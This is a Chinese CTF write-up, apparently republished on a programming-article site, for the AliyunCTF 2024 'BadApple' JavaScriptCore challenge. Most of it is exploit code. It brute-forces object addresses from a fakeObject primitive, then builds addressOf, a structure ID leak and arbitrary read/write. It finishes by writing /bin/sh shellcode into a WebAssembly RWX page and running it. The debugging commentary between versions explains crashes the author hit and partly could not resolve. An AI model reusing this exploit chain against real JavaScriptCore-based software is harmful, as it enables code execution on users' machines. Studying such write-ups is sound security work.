欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

AliyunCTF 2024 - BadApple 漏洞利用

最编程 2024-04-18 19:09:42
...

现在我们已经获得了一个 fakeObject 原语,接下来就是去考虑该如何进行利用了…说实话,我还真不知道咋利用,毕竟没有 addressOf 原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址

这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 === 操作被优化后,其直接使用 cmp 指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址

笔者在写 exp 的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:

  • 1、防止 GC 发生,由于存在对一些非法对象的引用,如果触发 GC 则会导致 crash
  • 2、防止循环爆破地址的过程中发生一些优化,否则会导致程序 crash,因为优化时会对对象进行检查
  • 3、还有一些其它问题,我也说不明白是什么问题

首先说明下,在 ubu20.04 上,我发现对象的低 24 比特似乎是固定的:不知道是不是平台的原因,还是是其跟 V8 有差不多的特性?
在这里插入图片描述

接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的 exp

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);

var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}

function compare_obj(pointer, target_obj) {
        return pointer.x === target_obj;
}

function fakeObject(addr) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, t);
}

trigger(obj, t);
trigger(t, obj_to_leak);

for (let i = 0 ; i < 0x1000; i++) {
        trigger(fbuf,t);
}

for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}

debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        print(i);
        addr = 0x7f0000500180n + i*0x1000000n;
        fakeObject(addr);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                print("Success");
                break
        }
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

运行直接 crash
在这里插入图片描述
调试看看是哪里出了问题:
在这里插入图片描述
可以看到这里的 rdi 就是我们进行爆破的地址,现在其是一个无效的地址,所以这里 [rdi+0x5] 发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:

[#0] 0x7ffff6616dfbJSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71doperationOptimize()

而且通过 rdi 的值可以知道其是在爆破的过程中发生了,所以这里就是说在爆破的过程中发生了优化,这里大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下 operationOptimize 函数(其实也不用看),然后可以知道 updateAllPredictions 函数用来更新预测信息的(其实根据函数名也知道)。

所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞错底层的根本原因,所以就不多说了,直接看代码。

这里笔者写出了第二版泄漏代码:

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);

var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}

function compare_obj(pointer, target_obj) {
        return pointer.x === target_obj;
}

function fakeObject(addr) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, t);
}

trigger(obj, t);
trigger(t, obj_to_leak);

for (let i = 0 ; i < 0x1000; i++) {
        trigger(fbuf,t);
}

lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}

for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}

debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        print(i);
        addr = 0x7f0000500180n + i*0x1000000n;
        fakeObject(addr);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                print("Success");
                break
        }
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

笔者增加了如下代码去提前进行相关优化:你若问我为什么,我也不知道,就是瞎调,然后连猜带懵的…

lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}

为什么选择 0xfffe0000_22222222n 呢?因为笔者测试发现如果你把原始 poc 中的 0xfffe0000_00000001n 换成0xfffe0000_22222222n ,程序不会崩溃,当然还有一些其它值也不会崩溃,比如 0xfffe0000_00000002n、0xfffe0000_00000006n 等等,这里 2 表示的是 Null6 表示的是 false,所以其不会崩溃自然可以理解

运行结果如下:
在这里插入图片描述
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了 19565,而上面仅仅执行到了 159,还是调试分析下:
在这里插入图片描述
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是 gc 的问题,所以多跑几次吧…悲
在这里插入图片描述
如果读者针对该问题有比较好的解决方案,欢迎交流~~~

泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp 其实可以简化的,但是不想改了,因为 obj_to_leak 对象的地址的低 24 比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低 24 比特被改变,如果存在像 V8 那样的通用堆喷就好了~~~

exploit 如下:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function hexx(str, val) {
        print(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);

var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {
        arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y:  1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };

function trigger(arr, a2) {
        for (let i in obj) {
                obj = [1];
                let out = arr[i];
                a2.y = out;
        }
}

function fakeObject(addr, a2) {
        lbuf[0] = 0xfffe_0000_0000_0000n + addr;
        trigger(fbuf, a2);
}

function compare_obj(pointer, target_obj) {
        return pointer.y === target_obj;
}

trigger(obj, t);
compare_obj(t, obj_to_leak);

for (let i = 0; i < 0x30000; i++) {
        trigger(fbuf, t);
}

lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {
        trigger(fbuf, t);
}

for (let i = 0; i < 0x10000; i++) {
        compare_obj(t, obj_to_leak);
}

print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
        addr = 0x7fffff50c580n - i*0x1000000n;
//      print(i);
//      hexx("addr", addr);
        fakeObject(addr, t);
        let res = compare_obj(t, obj_to_leak);
        if (res) {
                hexx("addr", addr);
                break;
        }
}

obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;

fakeObject(addr+0x10n, t);
var fake_object = t.y;

//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));

function addressOf(obj) {
        butterfly.x = obj;
        return f64_to_u64(fake_object[2]);
}

print("==> End");
hexx("test", addressOf(addressOf_obj));

function fakeObject_better(addr) {
        fake_object[2] =  u64_to_f64(addr);
        return butterfly.x;
}

function leakStructureID(obj) {
        let container = {
                jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
                butterfly: obj
        };

        let fake_object_addr = addressOf(container) + 0x10n;
        let leak_fake_object = fakeObject_better(fake_object_addr);
        let num = f64_to_u64(leak_fake_object[0]);

        let structureID = num & 0xffffffffn;
        container.jscell = f64[0];
        return structureID;
}

var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
        arrs.push([noCOW]);
}
var ID = [noCOW];

//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);

var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;

var container = {
        jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
        butterfly: victim
};

var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);

//debug(describe(victim));
//debug(describe(driver));

var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];

driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));

driver[1] = boxed;
victim[1] = sharedButterfly;

function new_addressOf(obj) {
        boxed[0] = obj;
        return f64_to_u64(unboxed[0]);
}

function new_fakeObject(addr) {
        unboxed[0] = u64_to_f64(addr);
        return boxed[0];
}

function read64(addr) {
        driver[1] = new_fakeObject(addr + 0x10n);
        return new_addressOf(victim.prop);
}

function write64(addr, val) {
        driver[1] = new_fakeObject(addr + 0x10n);
        victim.prop = u64_to_f64(val);;
}

function ByteToDwordArray(payload) {
        let sc = [];
        let tmp = [];
        let len = Math.ceil(payload.length / 6);
        for (let i = 0; i < len; i += 1) {
                tmp = 0n;
                pow = 1n;
                for(let j = 0; j < 6; j++){
                        let c = payload[i*6+j]
                        if(c === undefined) {
                                c = 0n;
                        }
                        pow = j==0 ? 1n : 256n * pow;
                        tmp += c * pow;
                }
                tmp += 0xc000000000000n;
                sc.push(tmp);
        }
        return sc;
}

function arb_write(addr, payload) {
        let sc = ByteToDwordArray(payload);
        for(let i = 0; i < sc.length; i++) {
                write64(addr, sc[i]);
                addr += 6n;
        }
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);

var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
                80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
                1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
                137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];


arb_write(rwx_addr, shellcode);
pwn();

效果如下:
在这里插入图片描述